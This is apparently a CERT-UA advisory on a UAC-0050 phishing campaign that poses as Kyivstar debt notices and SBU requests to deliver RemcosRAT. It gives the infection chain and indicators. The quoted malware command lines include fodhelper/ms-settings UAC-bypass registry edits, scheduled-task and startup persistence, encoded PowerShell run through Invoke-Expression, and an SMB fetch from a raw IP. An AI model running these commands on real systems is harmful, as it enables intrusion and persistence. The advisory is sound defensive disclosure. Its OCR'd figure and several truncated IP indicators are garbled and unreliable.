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general information

On 21.12.2023, the Government Computer Emergency Response Team of Ukraine CERT-
UA recorded a mass distribution of e-mails with the subject "Debts under the Kyivstar
contract" and an attachment in the form of an archive "Subscriber's debt.zip".

The specified ZIP-archive contains the RAR-archive "Subscriber's debt.rar" divided into 2
parts, in which there is a password-protected archive of the same name. In the latter, there is
a document with the macro "Subscriber Debt.doc".

If activated, the macro code will download to the PC and launch the "GB.exe" file using the
file explorer (explorer.exe) using the SMB protocol. In turn, the specified file is an SFX
archive containing a BATCH script for downloading from the bitbucket service and launching
the executable file "wsuscr.exe", obfuscated with the help of SmartAssembly .NET, the
purpose of which is to decrypt and launch the RemcosRAT remote control program (identifier
license: 5639D40461DCDD07011A2B87AD3C9EDD).

In addition, letters with the subject "SBU request" and an attachment in the form of a
"Documents.zip" archive containing a password-protected and divided into 3 RAR-archives
"Request.rar" were recorded. In the latter, the executable file "Request.exe" is located. If
such an archive is opened and the executable files run, the computer may be infected with
the RemcosRAT program (License ID: 5639D40461DCDD07011A2B87AD3C9EDD).

In addition to the typical UAC-0050 location of the RemcosRAT management servers at the
technical site of the Malaysian hosting provider Shinjiru, they are also located within the
autonomous system AS44477 (STARK INDUSTRIES SOLUTIONS LTD).

Indicators of cyber threats
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(tcp)://45[.]87.
(tcp)://45[.]87.
(tcp)://45[.]87.

(tcp)://101[.]99.
(tcp)://101[.]99.
(tcp)://101[.]99.
(tcp)://101[.799.
(tcp)://101[.]99.
(tcp)://94[.]131.
(tcp)://94[.]131.
(tcp)://94[.]131.
(tcp)://94[.]131.
(tcp)://94[.]131.

(tcp)://101[.]99.
(tcp)://101[.799.
(tcp)://101[.]99.
(tcp)://101[.]99.
(tcp)://101[.]99.

(tcp)://45[.]87.

(tcp)://94[.]131.102.115:54550

(tcp)://95[.]164
(tcp)://95[.]164
(tcp)://95[.]164
(tcp)://95[.]164

101[.]99.75.14
101[.]99.75.145
101[.]99.75.147
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"%WINDIR%\System32\reg.exe" add HKCU\Software\Classes\ms-settings\CurVer /d .omg /f

"%WINDIR%\System32\reg.exe" delete HKCU\Software\Classes\.omg\ /f
"%WINDIR%\System32\reg.exe" delete HKCU\Software\Classes\ms-settings\ /f
"%WINDIR%\System32\reg.exe" add HKCU\Software\Classes\.omg\Shell\Open\command /d
C:\Users\ADMINI~1\AppData\Local\Temp\persistent2\test2.exe /f
%APPDATA%\wWSuUSCr .exe

%TEMP%\IXPOOO.TMP\test2.bat

%TEMP%\persistent2\test2.exe

cmd /c "test2.bat"

cmd /c schtasks.exe /create /tn "Watson" /tr "wscript '%LOCALAPPDATA%\Insightful
Markets Technologies\MarketWise.js'" /sc minute /mo 3 /F

cmd /k cmd < Bathrooms & exit

cmd /k echo [InternetShortcut] > "%APPDATA%\Microsoft\Windows\Start

Menu\Programs\Startup\MarketWise.url" & echo URL="%LOCALAPPDATA%\Insightful Markets

Technologies\MarketWise.js" >> "%APPDATA%\Microsoft\Windows\Start
Menu\Programs\Startup\MarketWise.url" & exit

cmd.exe "%LOCALAPPDATA%\Insightful Markets Technologies\MarketWise.pif"
"%LOCALAPPDATA%\Insightful Markets Technologies\A

cmd.exe /S /D /c" echo F "

cmd.exe /c res.bat && test2.exe

dvwsus - SENWwwW

exel-3R0O5G3

explorer.exe "\\89.23.98.22\LN\"

powershell -Command "

[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('JABwWAHCA

| Invoke-Expression"
powershell -Command "

[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('ZgB1AG4A

| Invoke-Expression"
powershell.exe -Command Stop-Process -Name explorer
wscript "%LOCALAPPDATA%\Insightful Markets Technologies\MarketWise.js"
wscript.exe "%LOCALAPPDATA%\Insightful Markets Technologies\MarketWise.js"
xcopy /s test2.exe "%TEMP%\persistent2\test2.exe" >NULL

Graphic images
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From Tobomncn [:]
To ]

Reply to info@kyivstar.net <info@kyivstar.net> @

10:16

Subject 3aBoprosanicTs 3a aorosopom Kuisctap

3ppactyiiTe, y Bac € npocTpouena 3a00proBaHiCTL 3a AOT0BOpOM HoMep: 5275866791 3a nocnyru 38'm3ky.
¥ pasi He CnnaT 3a60prosaHocTi y CTPOK fo 29.12.2023 KomnaWis «KuiscTaps Gyme amywewa nopath Ha
BaC O CyRy ANA CTATHEHMA B CyROBOMY MOPAAKY 3360ProsaHoCTi.

[leTanHa 1HpopMaUin WORO BaWOTO paxyHKy AOCTYNHa y BKMajeHHi.

Y 38'A3Ky 31 3MiHOD MOMITMKA KOHPLREHULWHOCTI KoMnawii «KuiscTaps Ta 3GepexedHsM NepCoHanbHux
RaHWX Ha BKNaOeHHR BCTAHOBNEHO KOR AOCTYNY: 558732

3 nosaron,

Tiooomncn
Cneuianict CTATHEHHA 3a00proBaHoCTedl
Komnaii <Kuiscrap»
Ykpaiwa, 03113, micTo Knis,
Bynuua GynuHok 53
+3804425

oryment 3usin. 1o 6w yawer

w

DTOT AOKYMEHT 3aLUMLIEH @

T [[E GB.exe - SPX CAB archive, unpacked sie 122,206 bytes
Name - Size Packed Typ
File
[Elresbat 6078 ? Win
. [Etest.ere 176,128 7 App
[5cho 7 T xcopy /5 testz exe o \persistenta\tesiz.exer ML
powershe1l -Comand
" [Systen. Text.Encoding] : :Unicode. Getstring( [Syst t:: ing(*
AARUBLAHOAL A
CAATAAGACAATAAGA AGAC

a[Toyte]] sbyte array = 31,139.5.0,6,0.0,04,0, 145, 144, 193, 114, 130,,20 09, 127, 1,55, 109
[ 199,133, 11,5,146,9,35,177,2,125,3, 111, 163,66, 7,171,129, 46,68, 77, 248, 256, 76, 186,239, 76,
Flfrea add HKCU\Software\Classes\.ong\Shell\Open\command /d
Bl : \users\aoMInI-1\AppDat W\ Tenp exe' /f ;req add "
/d “ong /f ; fodhelper.exe;

s /f;reg delete

KCU\SOf tu i
Ybstart-sleep -s 3;reg delete "HKCl
U\Soft ns-sett

[Ah7e, 147,221, 71, e e s e
h81,25,170,108 109,76,61,130, 163,83,96,79, 42,89, )34 77 99,51, 51
Uo7, 101,238, 24, so m Rs 218, 755 250,207,29,221,122,253,3,4,178,253,174,164,1,0,0

ray -byteArray Sbyte_array

&

=

i
*x*lle nosifoMneHHn € Geaneunm, 1 Gyno nepesipeno Norton Antivirus. B/(systen. Text .Encoding] : :UTF. Getstring([Systen. Convert ] :FronBasesdString(( [Systen. Text
4 Ehcoding] - UTFs Getatring! SdeconpressedbyteArray ) | out-string 1) |
o A
o
Bloet “nccpetuciot ory/oicgovien« auttite
> [ 1 attachment: 3a6oprosaHicTb aboHeHTa.zip 508 KB & Save v S Comand N
[Ainvoke-Expression - o
SRR AORR AT ACARASRORAARVACATAASFONR P
+ ]ﬁ 3a60prosanicTs a6onenTa.zip\3a6oprosanicrs abowenTa - ZIP archive, unpacked size 519,701 bytes PPV TS AGADEALARSADYAL
= OHALAAXADEA A CARROASADCAL
Sne Packed Tpe Modified AsAcuANAAzAchMgMA(wANquAchngAﬁAngAmyAnuwAs:;;
- e IOk EL DIALAAXADEMO) LAAXAD
8 3360prosanicrs aGowera.partl.rar 36400 35400 WinRARarchive  21/12/20230210) 9 RemcosRA Axnnm\:
r g ADKALAASH b
3a6oprosariicrs abonenTa.part2.rar 161,301 161,301 WinRAR archive  21/12/2023 02:10 e il LR ANZIS _:n} nﬁ
+ ¥ rar - i : o :
‘m 3a6oprosanicrs aGonenTa.partl.rar - RAR volume (number 1), unpacked size 519,224 bytes Din PASFRSFHBMUNTD.As String A AomAL — s
Name - Size Packed Type Modified Dim ireowrppqucxva As String RAYADKAL
o ik
. File folder © 2702022 2292 7 2022 2 MIIIIIINY 2202
8 3260prosatiicrs abomentarar 513,958 513958 WinRARarchive  21/12/202301:51)  FASFASFHBNVNVE ey prks
[E] Asromarmsmii koa aocryny et 266 191 Text Document 2112720030155 HTEOMTPRAMEXY: EACuBL
[ = © 227222227 22777 7 2227722777 0 o
[ 3a60prosaricrs abonera.ar - solid RAR archive, unpacked size 688,128 bytes ot o e T EASFASFHBNVNVB & ", vbNormalFocus) |ocsmmomme
Name Size Packed Type Modified 222222022 222220722 272 122977 A 4AZ
l RunExecutable AGUAEABLACIAC
2 3a60prosanicts aborenTa.doc * 688,128 518400 Microsoft Word 97... 21/12/2023 0:52 |End Sub ni P

Fig. 1 Example of a chain of damage

Previous

Modus operandi UAC-0177 (JokerDPR) on the example of one of the cyber attacks (CERT-

UA#8290)

The next one

APT28: From initial attack to creating_threats to a domain controller in an hour (CERT-

UA#8399)
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